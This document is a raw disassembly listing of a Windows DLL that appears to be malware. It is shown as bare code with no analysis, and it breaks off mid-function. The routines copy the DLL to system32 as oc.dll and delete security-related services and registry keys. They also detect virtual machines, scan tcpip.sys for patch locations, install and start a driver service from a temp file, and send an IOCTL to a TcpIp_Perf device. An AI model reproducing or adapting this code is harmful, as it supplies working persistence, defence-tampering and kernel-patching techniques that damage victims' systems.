sldt eax
xor ebx, ebx
cmp ax, bx
jz short loc_9A76C1
cmp [ebp+arg_0], 0FFFFFFFEh
mov esi, offset ExistingFileName ; "c:\\windows\\system32\\oc.dll"
jz short loc_9A76B4
push 1F01FFh ; int
push esi ; lpFileName
call sub_9AC163
pop ecx
pop ecx
push 4 ; dwFlags
push ebx ; lpNewFileName
push esi ; lpExistingFileName
call MoveFileExA
loc_9A76A7: ; CODE XREF: sub_9A7670+4Fj
cmp [ebp+arg_0], 0FFFFFFFEh
jz short loc_9A76B4
push esi ; lpFileName
call DeleteFileA
loc_9A76B4: ; CODE XREF: sub_9A7670+1Ej
; sub_9A7670+3Bj
push 1388h ; dwMilliseconds
call Sleep
jmp short loc_9A76A7
; ---------------------------------------------------------------------------
loc_9A76C1: ; CODE XREF: sub_9A7670+13j
mov esi, 104h
push esi ; uSize
lea eax, [ebp+Buffer]
push eax ; lpBuffer
call GetSystemDirectoryA
push [ebp+arg_0]
lea eax, [ebp+Buffer]
push eax
call sub_9A752A
test eax, eax
pop ecx
pop ecx
jnz loc_9A7785
push edi
mov edi, SHGetSpecialFolderPathA
push ebx ; fCreate
push 26h ; csidl
lea eax, [ebp+Buffer]
push eax ; pszPath
push ebx ; hwnd
call edi ; SHGetSpecialFolderPathA
call rand
cdq
push 2
pop ecx
idiv ecx
mov eax, offset Source
test edx, edx
jnz short loc_9A771B
mov eax, offset dword_9A1520
loc_9A771B: ; CODE XREF: sub_9A7670+A4j
push esi ; Count
push eax ; Source
lea eax, [ebp+Buffer]
push eax ; Dest
call strncat
push [ebp+arg_0]
lea eax, [ebp+Buffer]
push eax
mov [ebp+var_1], bl
call sub_9A752A
add esp, 14h
test eax, eax
jnz short loc_9A7784
push ebx ; fCreate
push 1Ah ; csidl
lea eax, [ebp+Buffer]
push eax ; pszPath
push ebx ; hwnd
call edi ; SHGetSpecialFolderPathA
push [ebp+arg_0]
lea eax, [ebp+Buffer]
push eax
call sub_9A752A
test eax, eax
pop ecx
pop ecx
jnz short loc_9A7784
lea eax, [ebp+Buffer]
push eax ; lpBuffer
push esi ; nBufferLength
call GetTempPathA
push [ebp+arg_0]
lea eax, [ebp+Buffer]
push eax
call sub_9A752A
pop ecx
pop ecx
loc_9A7784: ; CODE XREF: sub_9A7670+D1j
; sub_9A7670+F3j
pop edi
loc_9A7785: ; CODE XREF: sub_9A7670+77j
pop esi
pop ebx
leave
retn
sub_9A7670 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
; DWORD __stdcall StartAddress(LPVOID)
StartAddress proc near ; DATA XREF: sub_9A799E+1FFo
var_1AC = dword ptr -1ACh
dwFlags = dword ptr -198h
var_194 = dword ptr -194h
WSAData = WSAData ptr -190h
sub esp, 198h
push ebx
push ebp
push esi
push edi
push 8003h ; uMode
call SetErrorMode
call sub_9AB510
call sub_9A722A
xor esi, esi
cmp eax, esi
jge short loc_9A77B5
push eax
call sub_9A7670
pop ecx
loc_9A77B5: ; CODE XREF: StartAddress+23j
sldt eax
cmp ax, si
jz short loc_9A77C5
push 0FFFFFFFFh ; dwMilliseconds
call Sleep
loc_9A77C5: ; CODE XREF: StartAddress+32j
call sub_9A7170
call GetVersion
cmp ax, 5
jnz short loc_9A77DD
call sub_9AA5A0
jmp short loc_9A77E2
; ---------------------------------------------------------------------------
loc_9A77DD: ; CODE XREF: StartAddress+4Bj
call sub_9AA56C
loc_9A77E2: ; CODE XREF: StartAddress+52j
push offset dword_9B9F38
call sub_9A81F5
pop ecx
mov [esp+1A8h+dwFlags], esi
mov [esp+1A8h+var_194], esi
call sub_9A722A
cmp eax, 0FFFFFFFEh
mov edi, offset ExistingFileName ; "c:\\windows\\system32\\oc.dll"
jz short loc_9A7811
push 120089h ; int
push edi ; lpFileName
call sub_9AC163
pop ecx
pop ecx
loc_9A7811: ; CODE XREF: StartAddress+79j
push edi ; lpFileName
push offset nNumberOfBytesToWrite ; int
call sub_9AB76E
cmp eax, esi
pop ecx
pop ecx
mov ds:lpBuffer, eax
jz short loc_9A7858
mov ecx, [eax+3Ch]
add ecx, eax
movzx edx, word ptr [ecx+6]
lea edx, [edx+edx*4]
lea edx, [ecx+edx*8+0F8h]
mov ecx, [edx-18h]
add ecx, [edx-14h]
mov edx, ds:nNumberOfBytesToWrite
cmp edx, ecx
jbe short loc_9A7860
add eax, ecx
sub edx, ecx
mov [esp+1A8h+dwFlags], eax
mov [esp+1A8h+var_194], edx
jmp short loc_9A7860
; ---------------------------------------------------------------------------
loc_9A7858: ; CODE XREF: StartAddress+9Cj
push 0FFFFFFFFh ; dwMilliseconds
call Sleep
loc_9A7860: ; CODE XREF: StartAddress+BFj
; StartAddress+CDj
mov ebx, CreateFileA
push esi ; hTemplateFile
push esi ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push esi ; lpSecurityAttributes
push 2 ; dwShareMode
mov ebp, 80000000h
push ebp ; dwDesiredAccess
push edi ; lpFileName
call ebx ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_9A7891
xor eax, eax
push eax ; hTemplateFile
push eax ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push eax ; lpSecurityAttributes
push 3 ; dwShareMode
push ebp ; dwDesiredAccess
push edi ; lpFileName
call ebx ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_9A78A8
loc_9A7891: ; CODE XREF: StartAddress+F2j
xor ebx, ebx
push ebx ; nNumberOfBytesToLockHigh
push ebx ; lpFileSizeHigh
push esi ; hFile
call GetFileSize
push eax ; nNumberOfBytesToLockLow
push ebx ; dwFileOffsetHigh
push ebx ; dwFileOffsetLow
push esi ; hFile
call LockFile
jmp short loc_9A78AA
; ---------------------------------------------------------------------------
loc_9A78A8: ; CODE XREF: StartAddress+106j
xor ebx, ebx
loc_9A78AA: ; CODE XREF: StartAddress+11Dj
call sub_9A722A
cmp eax, 0FFFFFFFEh
jz short loc_9A78BE
push 20h ; int
push edi ; lpFileName
call sub_9AC163
pop ecx
pop ecx
loc_9A78BE: ; CODE XREF: StartAddress+129j
push offset ServiceName ; "curityDe"
call sub_9AB558
mov [esp+1ACh+var_1AC], offset aEsstatusw ; "esStatusW"
mov esi, 80000002h
push esi ; hkey
call SHDeleteKeyA
push offset pszValue ; lpServiceName
call sub_9AB558
mov [esp+1ACh+var_1AC], offset aNagerw ; "nagerW"
call sub_9AB558
mov [esp+1ACh+var_1AC], offset dword_9A1598
call sub_9AB558
mov [esp+1ACh+var_1AC], offset dword_9A1584
push offset byte_9A1554 ; pszSubKey
push esi ; hkey
call SHDeleteValueA
push offset dword_9A154C ; lpServiceName
call sub_9AB558
mov [esp+1ACh+var_1AC], offset dword_9A1544
call sub_9AB558
mov esi, Sleep
mov [esp+1ACh+var_1AC], 3A98h
call esi ; Sleep
lea eax, [esp+1A8h+WSAData]
push eax ; lpWSAData
push 202h ; wVersionRequested
call WSAStartup
call sub_9AEC54
test eax, eax
jz short loc_9A7967
push [esp+1A8h+var_194]
push [esp+1ACh+dwFlags]
call sub_9AEFDD
pop ecx
pop ecx
call sub_9A89E8
call sub_9ACFCF
loc_9A7967: ; CODE XREF: StartAddress+1C3j
call sub_9AB2C3
push 1B7740h ; dwMilliseconds
loc_9A7971: ; CODE XREF: StartAddress+213j
call esi ; Sleep
loc_9A7973: ; CODE XREF: StartAddress+20Cj
push ebx ; dwReserved
lea eax, [esp+1ACh+dwFlags]
push eax ; lpdwFlags
call InternetGetConnectedState
test eax, eax
jz short loc_9A7997
call sub_9ADD9B
push 12h
pop edi
loc_9A798B: ; CODE XREF: StartAddress+20Aj
push 927C0h ; dwMilliseconds
call esi ; Sleep
dec edi
jnz short loc_9A798B
jmp short loc_9A7973
; ---------------------------------------------------------------------------
loc_9A7997: ; CODE XREF: StartAddress+1F8j
push 0EA60h
jmp short loc_9A7971
StartAddress endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9A799E(HMODULE hModule)
sub_9A799E proc near ; CODE XREF: DllMain(x,x,x)+8Ep
Name = byte ptr -210h
var_111 = byte ptr -111h
Str = byte ptr -110h
var_10F = byte ptr -10Fh
var_10 = dword ptr -10h
ThreadId = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
hModule = dword ptr 8
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push 3Fh
xor eax, eax
xor ebx, ebx
mov [ebp+Str], bl
pop ecx
lea edi, [ebp+var_10F]
rep stosd
stosw
stosb
call sub_9ABFFB
call sub_9AA49F
push 104h ; nSize
mov edi, offset ExistingFileName ; "c:\\windows\\system32\\oc.dll"
push edi ; lpFilename
push [ebp+hModule] ; hModule
call GetModuleFileNameA
push 1 ; int
push (offset aUritydescripto+10h) ; lpName
mov ds:byte_9B9F2B, bl
call sub_9AB5DC
pop ecx
pop ecx
lea eax, [ebp+ThreadId]
push eax ; nSize
lea eax, [ebp+Str]
mov esi, 100h
push eax ; lpBuffer
mov [ebp+ThreadId], esi
call GetComputerNameA
lea eax, [ebp+Str]
push eax ; Str
call strlen
push eax
lea eax, [ebp+Str]
push eax
call sub_9A8245
mov ds:dword_9B9F34, eax
xor eax, 2F53508Bh
push eax ; Seed
call srand
call rand
push 3
pop ecx
cdq
idiv ecx
add edx, 6
push edx
push offset aMarnwkcw ; "marnwkcw"
call sub_9AB647
call sub_9AB510
push 7
push ds:dword_9B9F34
lea eax, [ebp+Name]
push offset aUritydescripto ; "urityDescriptorDacl"
push esi ; Count
push eax ; Dest
call _snprintf
add esp, 2Ch
lea eax, [ebp+Name]
push eax ; lpName
push ebx ; bInitialOwner
push ebx ; lpMutexAttributes
mov [ebp+var_111], bl
call CreateMutexA
mov ds:hObject, eax
call GetLastError
mov [ebp+var_8], eax
call GetCommandLineA
mov esi, StrStrIA
push offset Srch
push eax
mov [ebp+var_4], eax
call esi ; StrStrIA
test eax, eax
jz loc_9A7B3A
call sub_9A72CA
cmp [ebp+var_8], 0B7h
mov [ebp+var_10], eax
jz short loc_9A7B14
cmp [ebp+var_8], 5
jz short loc_9A7B14
push ds:hObject ; hObject
call CloseHandle
call sub_9A74E1
test eax, eax
jz short loc_9A7B14
xor edi, edi
loc_9A7AE4: ; CODE XREF: sub_9A799E+174j
push 0BB8h ; dwMilliseconds
call Sleep
lea eax, [ebp+Name]
push eax ; lpName
push ebx ; bInheritHandle
push 1 ; dwDesiredAccess
call OpenMutexA
test eax, eax
jnz short loc_9A7B14
call GetLastError
cmp eax, 5
jz short loc_9A7B14
inc edi
cmp edi, 3
jl short loc_9A7AE4
loc_9A7B14: ; CODE XREF: sub_9A799E+127j
; sub_9A799E+12Dj ...
cmp [ebp+var_10], ebx
jz short loc_9A7B20
call sub_9A7410
jmp short loc_9A7B33
; ---------------------------------------------------------------------------
loc_9A7B20: ; CODE XREF: sub_9A799E+179j
push offset aMarnwkcw ; "marnwkcw"
push [ebp+var_4]
call esi ; StrStrIA
test eax, eax
jnz short loc_9A7B33
call sub_9AB1F2
loc_9A7B33: ; CODE XREF: sub_9A799E+180j
; sub_9A799E+18Ej
push ebx ; uExitCode
call ExitProcess
; ---------------------------------------------------------------------------
loc_9A7B3A: ; CODE XREF: sub_9A799E+112j
call GetVersion
cmp ax, 5
jnz short loc_9A7B60
push offset aOwedace ; "owedAce"
push [ebp+var_4]
call esi ; StrStrIA
test eax, eax
jz short loc_9A7B60
call sub_9AA482
call sub_9AA53A
jmp short loc_9A7B88
; ---------------------------------------------------------------------------
loc_9A7B60: ; CODE XREF: sub_9A799E+1A6j
; sub_9A799E+1B4j
push offset aIalizeacl ; "ializeAcl"
push [ebp+var_4]
call esi ; StrStrIA
test eax, eax
jz short loc_9A7B75
call sub_9AA482
jmp short loc_9A7B88
; ---------------------------------------------------------------------------
loc_9A7B75: ; CODE XREF: sub_9A799E+1CEj
push offset aScriptor ; "scriptor"
push [ebp+var_4]
call esi ; StrStrIA
test eax, eax
jz short loc_9A7B88
call sub_9AA4BC
loc_9A7B88: ; CODE XREF: sub_9A799E+1C0j
; sub_9A799E+1D5j ...
cmp [ebp+var_8], 0B7h
jz short loc_9A7BB3
cmp [ebp+var_8], 5
jz short loc_9A7BB3
lea eax, [ebp+ThreadId]
push eax ; lpThreadId
push ebx ; dwCreationFlags
push ebx ; lpParameter
push offset StartAddress ; lpStartAddress
push ebx ; dwStackSize
push ebx ; lpThreadAttributes
call CreateThread
push eax ; hObject
call CloseHandle
jmp short loc_9A7BC7
; ---------------------------------------------------------------------------
loc_9A7BB3: ; CODE XREF: sub_9A799E+1F1j
; sub_9A799E+1F7j
call sub_9A722A
cmp eax, 0FFFFFFFFh
jnz short loc_9A7BC7
push 4 ; dwFlags
push ebx ; lpNewFileName
push edi ; lpExistingFileName
call MoveFileExA
loc_9A7BC7: ; CODE XREF: sub_9A799E+213j
; sub_9A799E+21Dj
pop edi
pop esi
pop ebx
leave
retn
sub_9A799E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
_DllMain@12 proc near ; CODE XREF: start+4Bp
Name = byte ptr -14h
hModule = dword ptr 8
fdwReason = dword ptr 0Ch
lpvReserved = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
xor ebx, ebx
inc ebx
cmp [ebp+fdwReason], ebx
push esi
push edi
jnz loc_9A7C66
mov edi, [ebp+lpvReserved]
test edi, edi
jz short loc_9A7BEB
mov [ebp+hModule], edi
loc_9A7BEB: ; CODE XREF: DllMain(x,x,x)+1Aj
push [ebp+hModule] ; hLibModule
call DisableThreadLibraryCalls
test edi, edi
jz short loc_9A7C4D
call GetCurrentProcessId
push eax ; Seed
call srand
call rand
push 7
cdq
pop ecx
idiv ecx
lea eax, [ebp+Name]
add edx, 0Ah
push edx
push eax
call sub_9AB647
add esp, 0Ch
lea eax, [ebp+Name]
push eax ; lpName
push 0 ; bInitialOwner
push 0 ; lpMutexAttributes
call CreateMutexA
mov esi, eax
test esi, esi
jz short loc_9A7C4D
call GetLastError
cmp eax, 0B7h
jnz short loc_9A7C4D
push esi ; hObject
call CloseHandle
xor eax, eax
jmp short loc_9A7C68
; ---------------------------------------------------------------------------
loc_9A7C4D: ; CODE XREF: DllMain(x,x,x)+2Aj
; DllMain(x,x,x)+67j ...
call GetVersion
cmp al, 5
jb short loc_9A7C60
push [ebp+hModule] ; hModule
call sub_9A799E
pop ecx
loc_9A7C60: ; CODE XREF: DllMain(x,x,x)+89j
test edi, edi
jz short loc_9A7C66
xor ebx, ebx
loc_9A7C66: ; CODE XREF: DllMain(x,x,x)+Fj
; DllMain(x,x,x)+96j
mov eax, ebx
loc_9A7C68: ; CODE XREF: DllMain(x,x,x)+7Fj
pop edi
pop esi
pop ebx
leave
retn 0Ch
_DllMain@12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9A7C6F proc near ; CODE XREF: sub_9A7CD0+157p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 10h
push offset stru_9A26A0
call __SEH_prolog
mov edi, ecx
or eax, 0FFFFFFFFh
mov [ebp+var_1C], eax
xor edx, edx
mov [ebp+ms_exc.disabled], edx
loc_9A7C88: ; CODE XREF: sub_9A7C6F+5Bj
mov [ebp+var_20], edx
movzx ecx, word ptr [edi+6]
cmp edx, ecx
jnb short loc_9A7CBA
lea ecx, [edx+edx*4]
lea ecx, [edi+ecx*8+0F8h]
mov esi, [ecx+14h]
cmp [ebp+arg_0], esi
jb short loc_9A7CC9
mov ebx, [ecx+10h]
add ebx, esi
cmp [ebp+arg_0], ebx
jnb short loc_9A7CC9
mov eax, [ecx+0Ch]
sub eax, esi
add eax, [ebp+arg_0]
mov [ebp+var_1C], eax
loc_9A7CBA: ; CODE XREF: sub_9A7C6F+22j
or [ebp+ms_exc.disabled], 0FFFFFFFFh
call nullsub_2
call __SEH_epilog
retn
; ---------------------------------------------------------------------------
loc_9A7CC9: ; CODE XREF: sub_9A7C6F+34j
; sub_9A7C6F+3Ej
inc edx
jmp short loc_9A7C88
sub_9A7C6F endp
; =============== S U B R O U T I N E =======================================
sub_9A7CCC proc near ; DATA XREF: .text:stru_9A26A0o
mov eax, [ebp-1Ch]
sub_9A7CCC endp ; sp-analysis failed
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=70h
sub_9A7CD0 proc near ; CODE XREF: sub_9A7E5A+64p
VersionInformation= _OSVERSIONINFOA ptr -0B4h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = byte ptr -0Ah
var_9 = byte ptr -9
var_8 = byte ptr -8
Buf2 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
lea ebp, [esp-70h]
sub esp, 0B4h
push esi
mov esi, eax
cmp word ptr [esi], 5A4Dh
jnz loc_9A7E52
mov ecx, [ebp+70h+arg_4]
mov eax, [esi+3Ch]
add ecx, 0FFFFFF08h
cmp eax, ecx
jg loc_9A7E52
add eax, esi
cmp dword ptr [eax], 4550h
mov [ebp+70h+var_18], eax
jnz loc_9A7E52
lea eax, [ebp+70h+VersionInformation]
push eax ; lpVersionInformation
mov [ebp+70h+VersionInformation.dwOSVersionInfoSize], 9Ch
call GetVersionExA
test eax, eax
jz loc_9A7E52
push ebx
xor ebx, ebx
cmp [ebp+70h+VersionInformation.dwMajorVersion], 5
mov [ebp+70h+var_10], ebx
jnz loc_9A7DB7
mov eax, [ebp+70h+arg_4]
add eax, 0FFFFFFF7h
cmp eax, ebx
mov [ebp+70h+Buf2], 0FFh
mov [ebp+70h+var_3], 0D6h
mov [ebp+70h+var_2], 0C7h
mov [ebp+70h+var_1], 5
mov [ebp+70h+var_14], eax
jbe loc_9A7E4C
loc_9A7D58: ; CODE XREF: sub_9A7CD0+A9j
push 4 ; Size
lea eax, [ebp+70h+Buf2]
push eax ; Buf2
lea eax, [ebx+esi]
push eax ; Buf1
call memcmp
add esp, 0Ch
test eax, eax
jnz short loc_9A7D75
cmp byte ptr [ebx+esi+8], 0Ah
jz short loc_9A7D80
loc_9A7D75: ; CODE XREF: sub_9A7CD0+9Cj
inc ebx
cmp ebx, [ebp+70h+var_14]
jb short loc_9A7D58
jmp loc_9A7E4C
; ---------------------------------------------------------------------------
loc_9A7D80: ; CODE XREF: sub_9A7CD0+A3j
cmp ebx, 0FFFFFFFFh
jz loc_9A7E4C
mov eax, [ebp+70h+var_18]
mov esi, [ebx+esi+4]
sub esi, [eax+34h]
cmp esi, [eax+50h]
jnb loc_9A7E4C
mov eax, [ebp+70h+arg_0]
mov [edi], esi
mov [edi+8], eax
mov dword ptr [edi+4], 0Ah
mov [ebp+70h+var_10], 1
jmp loc_9A7E4C
; ---------------------------------------------------------------------------
loc_9A7DB7: ; CODE XREF: sub_9A7CD0+61j
cmp [ebp+70h+VersionInformation.dwMajorVersion], 6
jnz loc_9A7E4C
cmp [ebp+70h+VersionInformation.dwMinorVersion], ebx
jnz loc_9A7E4C
mov eax, [ebp+70h+arg_4]
add eax, 0FFFFFFEFh
cmp eax, ebx
mov [ebp+70h+var_2], 8Bh
mov [ebp+70h+var_1], 15h
mov [ebp+70h+var_C], 83h
mov [ebp+70h+var_B], 0FAh
mov [ebp+70h+var_A], 0Ah
mov [ebp+70h+var_9], 0Fh
mov [ebp+70h+var_8], 87h
mov [ebp+70h+var_14], eax
jbe short loc_9A7E4C
loc_9A7DF3: ; CODE XREF: sub_9A7CD0+17Aj
push 2 ; Size
lea eax, [ebp+70h+var_2]
push eax ; Buf2
lea eax, [esi+ebx]
push eax ; Buf1
call memcmp
add esp, 0Ch
test eax, eax
jnz short loc_9A7E46
push 5 ; Size
lea eax, [ebp+70h+var_C]
push eax ; Buf2
lea eax, [ebx+esi+6]
push eax ; Buf1
call memcmp
add esp, 0Ch
test eax, eax
jnz short loc_9A7E46
mov ecx, [ebp+70h+var_18]
lea eax, [ebx+0Bh]
push eax
call sub_9A7C6F
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_9A7E46
and dword ptr [edi+8], 0
mov [edi], eax
mov eax, [ebx+esi+0Bh]
mov [edi+4], eax
mov [ebp+70h+var_10], 1
loc_9A7E46: ; CODE XREF: sub_9A7CD0+137j
; sub_9A7CD0+14Ej ...
inc ebx
cmp ebx, [ebp+70h+var_14]
jb short loc_9A7DF3
loc_9A7E4C: ; CODE XREF: sub_9A7CD0+82j
; sub_9A7CD0+ABj ...
mov eax, [ebp+70h+var_10]
pop ebx
jmp short loc_9A7E54
; ---------------------------------------------------------------------------
loc_9A7E52: ; CODE XREF: sub_9A7CD0+13j
; sub_9A7CD0+27j ...
xor eax, eax
loc_9A7E54: ; CODE XREF: sub_9A7CD0+180j
pop esi
add ebp, 70h
leave
retn
sub_9A7CD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9A7E5A proc near ; CODE XREF: sub_9A813F+5Ap
FileName = byte ptr -128h
var_25 = byte ptr -25h
hMem = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push 118h
push offset stru_9A26C0
call __SEH_prolog
and [ebp+var_1C], 0
mov esi, 104h
push esi ; uSize
lea eax, [ebp+FileName]
push eax ; lpBuffer
call GetSystemDirectoryA
push esi ; Count
push offset aDriversTcpip_s ; "\\drivers\\tcpip.sys"
lea eax, [ebp+FileName]
push eax ; Dest
call strncat
mov [ebp+var_25], 0
lea eax, [ebp+FileName]
push eax ; lpFileName
lea eax, [ebp+var_20]
push eax ; int
call sub_9AB76E
add esp, 14h
mov [ebp+hMem], eax
test eax, eax
jz short loc_9A7EDE
and [ebp+ms_exc.disabled], 0
push [ebp+var_20]
push [ebp+arg_0]
mov edi, [ebp+arg_4]
call sub_9A7CD0
pop ecx
pop ecx
mov [ebp+var_1C], eax
jmp short loc_9A7ED1
; ---------------------------------------------------------------------------
loc_9A7ECA: ; DATA XREF: .text:stru_9A26C0o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9A7ECE: ; DATA XREF: .text:stru_9A26C0o
mov esp, [ebp+ms_exc.old_esp]
loc_9A7ED1: ; CODE XREF: sub_9A7E5A+6Ej
or [ebp+ms_exc.disabled], 0FFFFFFFFh
push [ebp+hMem] ; hMem
call GlobalFree
loc_9A7EDE: ; CODE XREF: sub_9A7E5A+55j
mov eax, [ebp+var_1C]
call __SEH_epilog
retn
sub_9A7E5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9A7EE7(LPCSTR lpServiceName)
sub_9A7EE7 proc near ; CODE XREF: sub_9A7FAE+16Bp
ServiceStatus = _SERVICE_STATUS ptr -20h
var_4 = dword ptr -4
lpServiceName = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
xor esi, esi
push 0F003Fh ; dwDesiredAccess
push esi ; lpDatabaseName
push esi ; lpMachineName
mov [ebp+var_4], esi
call OpenSCManagerA
mov ebx, eax
cmp ebx, esi
jz short loc_9A7F41
push edi
push 0F01FFh ; dwDesiredAccess
push [ebp+lpServiceName] ; lpServiceName
push ebx ; hSCManager
call OpenServiceA
mov edi, eax
cmp edi, esi
mov esi, CloseServiceHandle
jz short loc_9A7F3D
lea eax, [ebp+ServiceStatus]
push eax ; lpServiceStatus
push 1 ; dwControl
push edi ; hService
call ControlService
push edi ; hService
mov [ebp+var_4], eax
call DeleteService
push edi ; hSCObject
call esi ; CloseServiceHandle
loc_9A7F3D: ; CODE XREF: sub_9A7EE7+3Aj
push ebx ; hSCObject
call esi ; CloseServiceHandle
pop edi
loc_9A7F41: ; CODE XREF: sub_9A7EE7+1Ej
mov eax, [ebp+var_4]
pop esi
pop ebx
leave
retn
sub_9A7EE7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9A7F48(LPCSTR lpDisplayName, LPCSTR lpBinaryPathName)
sub_9A7F48 proc near ; CODE XREF: sub_9A7FAE+108p
hSCObject = dword ptr -4
lpDisplayName = dword ptr 8
lpBinaryPathName= dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
push 0F003Fh ; dwDesiredAccess
xor esi, esi
push esi ; lpDatabaseName
push esi ; lpMachineName
call OpenSCManagerA
cmp eax, esi
mov [ebp+hSCObject], eax
jz short loc_9A7FA9
push ebx
push edi
push offset Password ; lpPassword
push esi ; lpServiceStartName
push esi ; lpDependencies
push esi ; lpdwTagId
push esi ; lpLoadOrderGroup
push [ebp+lpBinaryPathName] ; lpBinaryPathName
push esi ; dwErrorControl
push 3 ; dwStartType
push 1 ; dwServiceType
push 0F01FFh ; dwDesiredAccess
push [ebp+lpDisplayName] ; lpDisplayName
push [ebp+lpDisplayName] ; lpServiceName
push eax ; hSCManager
call CreateServiceA
mov edi, CloseServiceHandle
mov ebx, eax
cmp ebx, esi
jz short loc_9A7FA2
push esi ; lpServiceArgVectors
push esi ; dwNumServiceArgs
push ebx ; hService
call StartServiceA
push ebx ; hSCObject
mov esi, eax
call edi ; CloseServiceHandle
loc_9A7FA2: ; CODE XREF: sub_9A7F48+4Aj
push [ebp+hSCObject] ; hSCObject
call edi ; CloseServiceHandle
pop edi
pop ebx
loc_9A7FA9: ; CODE XREF: sub_9A7F48+19j
mov eax, esi
pop esi
leave
retn
sub_9A7F48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9A7FAE(LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPVOID lpInBuffer)
sub_9A7FAE proc near ; CODE XREF: sub_9A813F+73p
PathName = byte ptr -234h
var_131 = byte ptr -131h
FileName = byte ptr -130h
ServiceName = byte ptr -2Ch
BytesReturned = dword ptr -0Ch
var_8 = dword ptr -8
hObject = dword ptr -4
lpBuffer = dword ptr 8
nNumberOfBytesToWrite= dword ptr 0Ch
lpInBuffer = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 234h
push ebx
push esi
xor ebx, ebx
push edi
mov [ebp+var_8], ebx
call rand
push 5
pop ecx
cdq
idiv ecx
lea eax, [ebp+ServiceName]
add edx, ecx
push edx
push eax
call sub_9AB647
pop ecx
pop ecx
push 104h ; uSize
lea eax, [ebp+PathName]
push eax ; lpBuffer
call GetSystemDirectoryA
mov esi, GetTempFileNameA
lea eax, [ebp+FileName]
push eax ; lpTempFileName
push ebx ; uUnique
mov edi, offset PrefixString ; "0"
push edi ; lpPrefixString
lea eax, [ebp+PathName]
push eax ; lpPathName
mov [ebp+var_131], bl
call esi ; GetTempFileNameA
test eax, eax
jnz short loc_9A803C
lea eax, [ebp+PathName]
push eax ; lpBuffer
push 104h ; nBufferLength
call GetTempPathA
lea eax, [ebp+FileName]
push eax ; lpTempFileName
push ebx ; uUnique
push edi ; lpPrefixString
lea eax, [ebp+PathName]
push eax ; lpPathName
mov [ebp+var_131], bl
call esi ; GetTempFileNameA
loc_9A803C: ; CODE XREF: sub_9A7FAE+62j
mov esi, CreateFileA
push ebx ; hTemplateFile
push 80h ; dwFlagsAndAttributes
push 2 ; dwCreationDisposition
push ebx ; lpSecurityAttributes
push 6 ; dwShareMode
mov edi, 0C0000000h
push edi ; dwDesiredAccess
lea eax, [ebp+FileName]
push eax ; lpFileName
call esi ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+hObject], eax
jnz short loc_9A806B
xor eax, eax
jmp loc_9A813A
; ---------------------------------------------------------------------------
loc_9A806B: ; CODE XREF: sub_9A7FAE+B4j
lea eax, [ebp+FileName]
push 120136h ; int
push eax ; lpFileName
call sub_9AC163
pop ecx
pop ecx
push ebx ; lpOverlapped
lea eax, [ebp+BytesReturned]
push eax ; lpNumberOfBytesWritten
push [ebp+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite
push [ebp+lpBuffer] ; lpBuffer
push [ebp+hObject] ; hFile
call WriteFile
test eax, eax
jz loc_9A8121
mov eax, [ebp+nNumberOfBytesToWrite]
cmp [ebp+BytesReturned], eax
jnz short loc_9A8121
push [ebp+hObject] ; hObject
call CloseHandle
lea eax, [ebp+FileName]
push eax ; lpBinaryPathName
lea eax, [ebp+ServiceName]
push eax ; lpDisplayName
call sub_9A7F48
pop ecx
mov [ebp+hObject], eax
pop ecx
lea eax, [ebp+FileName]
push eax ; lpFileName
call DeleteFileA
cmp [ebp+hObject], ebx
jz short loc_9A8137
push ebx ; hTemplateFile
push 80h ; dwFlagsAndAttributes
push 2 ; dwCreationDisposition
push ebx ; lpSecurityAttributes
push ebx ; dwShareMode
push edi ; dwDesiredAccess
push offset FileName ; "\\\\.\\TcpIp_Perf"
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_9A8115
push ebx ; lpOverlapped
lea eax, [ebp+BytesReturned]
push eax ; lpBytesReturned
push ebx ; nOutBufferSize
push ebx ; lpOutBuffer
push 0Ch ; nInBufferSize
push [ebp+lpInBuffer] ; lpInBuffer
push 9C402000h ; dwIoControlCode
push esi ; hDevice
call DeviceIoControl
test eax, eax
jz short loc_9A810E
mov [ebp+var_8], 1
loc_9A810E: ; CODE XREF: sub_9A7FAE+157j
push esi ; hObject
call CloseHandle
loc_9A8115: ; CODE XREF: sub_9A7FAE+13Bj
lea eax, [ebp+ServiceName]
